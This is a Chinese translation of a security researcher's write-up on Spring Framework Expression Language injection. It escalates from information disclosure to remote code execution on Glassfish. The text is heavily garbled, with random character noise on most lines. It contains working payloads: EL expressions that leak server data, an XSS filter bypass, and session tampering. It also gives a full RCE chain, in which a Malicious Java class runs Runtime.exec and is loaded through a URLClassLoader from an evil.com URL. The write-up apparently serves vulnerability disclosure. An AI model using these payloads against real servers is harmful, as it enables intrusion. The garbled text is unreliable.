Remote Code with
/ X1 t p" w, C2 I) LExpression Language Injection
1 ?) { j4 E% Z7 l; ~# Y1 J. D. USpring Framework脆弱性—DanAmodio
: X8 K. `" R# ]; P8 d全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中7 {( w6 `8 k3 A
可能会存在风险。
1 ]. W& u/ v. o. e+ K! M在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的0 m- P6 i O/ d8 ^* m! L# K- |
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可( H5 S! m$ B5 c) `8 o' g8 f5 p7 Z# n
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
/ e( V+ x3 @3 |% J8 \; V# o# U以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前6 C; `# p) J" o$ _
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
2 I& {- U* A' m0 P5 O由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但( v2 c: @2 Y/ u
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
* ?. H. ?% s4 F8 X: ?本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。7 A# d) W: } x; [0 V, C8 e0 N+ t& n# Q
这些版本不支持禁用double EL resolution.& t6 S% I! \4 O+ z; C2 Q+ j2 p
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
7 \& E$ P( e' |8 M6 ]% J* ~EL2.2容器上可能进行远程代码执行。1 c6 q! B; w2 d- y1 ] r3 J, O6 L; N
这是一个原始信息泄露的攻击例子:. G+ ?. C7 w' z; ~% s/ @! L
请求: x' ?! _, O1 o# p7 L: x3 H$ q0 u5 M
ttp://vulnerable.com/foo?message=${applicationScope}
. a; I4 a' d6 c7 N) ?到达以下内容页面:7 \1 `; a0 v* O+ J, {" ]
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
* b( [7 F% C2 \ S你也可以做一些其他事情,如这样:
, A4 {) Q6 ]5 y- ]- r' B* B${9999+1}+ ^5 F6 O. f, }9 _( X" ?
还可以访问session 对象和beans" K& G- E5 c# u% ]. k
${employee.lastName}% i/ ?7 ?# Y2 A0 I" Z
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
: j. W* O! i9 |$ sEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东7 i" a. D5 d! U L, n& y) `8 @
西,比如XSS.
: U2 ]3 Q3 c$ ]3 B1 g D哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签- b: w- Y6 x* J$ N; E( l
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤; _* }' A. X/ [1 ?; d
呢?”" C" u% H w$ r
因此,我尝试巳缦拢�
- R3 F- I' c' g0 V: Y' Chttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP" X- ^4 q4 n, }! Y" Y
P
4 k% w' _; Q- w; E# ?$ n' L- k9 |' q我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返 Y8 s' t& @% V& J# I$ V
回的文本被插入进了spring:message 标签。
, ]! s( |2 t4 x& c a+ y0 H这里是一个最终绕过过滤的实例:
) e, R& p3 |3 V' Z% i5 chttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ, {3 p7 O. U1 K: J
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为/ \% O! F5 v5 q! e% T6 p
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?5 c& b& ]! i. V4 N& W5 P! S, Z/ N
经过一番研究,我学习到EL2.2 增加了方法调用。+ `; X4 `& b, {1 ~. u
我写了一个快速测试应用程序代码并且检测一些功能
7 y7 Q5 S9 j: q5 J/ F1 y5 z${pageContext.request.getSession().setAttribute(“account”,”123456″)}
& ^( T1 Q5 J8 l7 v/ b3 H${pageContext.request.getSession().setAttribute(“admin”,true)}" G) x s2 x6 ]$ G
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的, i( e9 i0 R Y3 W1 S8 P3 O6 i
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?2 y, F1 i& ^; n( x# r# I" q7 m
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
2 T3 C. ~& t% `, V“, 1234)}: P' f' J# M7 L9 ^. y
${“”.getClass().forName(“java.lang.Runtime”)}# x9 D& y4 r z: o1 a6 H( @
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不! n* C: K; b4 x" r
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
. h5 M( G8 {9 ?数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
2 |+ Q* J; d: }6 k5 H一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
$ _6 w1 t' S* |% \3 R方法签名invoke(Object obj, Object„ args)1 h& W% S0 P7 R0 I+ @, Y% r2 q
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问0 u" K! Y/ h: P
题,以让它可以工作起来。1 o `- t2 ?% D+ ~ L
漏洞利用:
% E6 B) \" ]$ l5 m' h1 j' V5 n我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我6 A2 ?$ l0 q/ D. {. ?( w* h
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
( r# n0 h3 O! z8 E5 b9 L: M这里有一些我试过的失败的用例,为了试图让它工作的用例:7 w- q, d1 Q* R& [& i" D
写文件到文件系统
/ a7 g1 l/ v* D 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
% I9 p. e% x; @. ]- u y我认为这些可以很好的工作,但是我不能找到合适的类来载入。
, [* W$ O/ k% c: t" _# Z1 y${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}3 F7 w1 l1 K; S( h; L1 `
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:; L9 f! A8 R; K8 j- j" O7 W, e
org.springframework.expression.spel.standard.SpelExpressionParser not found8 O/ u$ R. P/ l* @# @( L& q7 n4 p
by
1 \& h6 m! b2 T a6 yorg.glassfish.web.javax.servlet.jsp [194].; q1 S; T1 Q3 S
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
1 J; l, N1 j. L1 A+ u 利用反射来创建一个新的Runtime(and watch the world burn)5 a P) a# c- i% [6 t; M/ n
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName- V5 a' b J' P, K2 B
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}- w) S6 |% ?% }0 O! a1 A
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}! C+ l2 i C9 x% r, `0 `& [, z
使用java.lang.ProcessBuilder; K% h) j. _+ v+ n( ^9 R
用表达式语言来评估表达式语言
+ j) B( C' b# P2 R" L. c; n# sExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
$ D0 O& W" F/ A Y, n# @0 l5 K${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request" k: t& T% z2 |4 R9 l% X
“,”".getClass(),null)} c- A/ `; g3 k! \" @
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
- }+ W4 D5 I" I! L, w我在使用一个空数组通过Method.invoke()时失败了很多次) h! j2 G; h ?; y8 G7 Z
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo& D( v. U* H# A' G* U7 V$ F
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A5 v' j# [9 w& h' E) |& o
rrayList”).newInstance().toArray())5 J( W6 [& m6 i, k
java.lang.IllegalArgumentException: wrong number of arguments
W4 a& K, u+ q最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可7 }: d, S9 h2 ]7 M
以创建一个恶意class文件并且指向类装载器.
9 Q( F% B0 I9 Q; \" \6 z我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:2 f$ M% ^. o0 x, A4 L- P1 t! i
public class Malicious {0 R! ?: W( P4 D; S( [7 h" y
public Malicious() {( J( a4 d+ B# ]% _+ G: q. ~
try {/ V. e! p, n5 O
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac8 w* r' k' l- O6 l j8 f
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win& Q* ^; O9 f% i) _
} catch (Exception e) {
% M! c" e' K9 E6 O}
9 ]0 @ }* A6 `+ K' r; p2 n/ n}
) g) M" c0 U' T) s3 ?我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回) w; j$ R; R, R$ [. j
话中,因此它可以被使用.6 ~. P5 ]2 }/ q, H" Q( F
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName9 D( g6 J( ~9 _
(“java.util.ArrayList”).newInstance())}9 _) A0 C' Z. A: |8 B
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
+ r+ D) S A! l1 t9 |一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和, I W( D2 z! M7 {0 N8 x
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
& ^- Y. `7 K0 R! ]. X8 Q我们可以调用的create(string)方法,然后转换对一个URL对象。/ K$ [7 w+ o4 {; U0 W
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh1 z) f) d P6 O8 R
ere/malicious/classfile/is/located/”).toURL())}6 L, s6 a" _1 p. }5 I
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
: t. D1 ]7 o% Y5 |7 q+ b恶意类文件被装载并创建,触发远程代码.. P$ V, J5 m1 c
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
w' G6 ~9 }; hxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
7 U2 I9 u3 `) NgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
0 w) p% T2 M# q/ a9 p- A()} |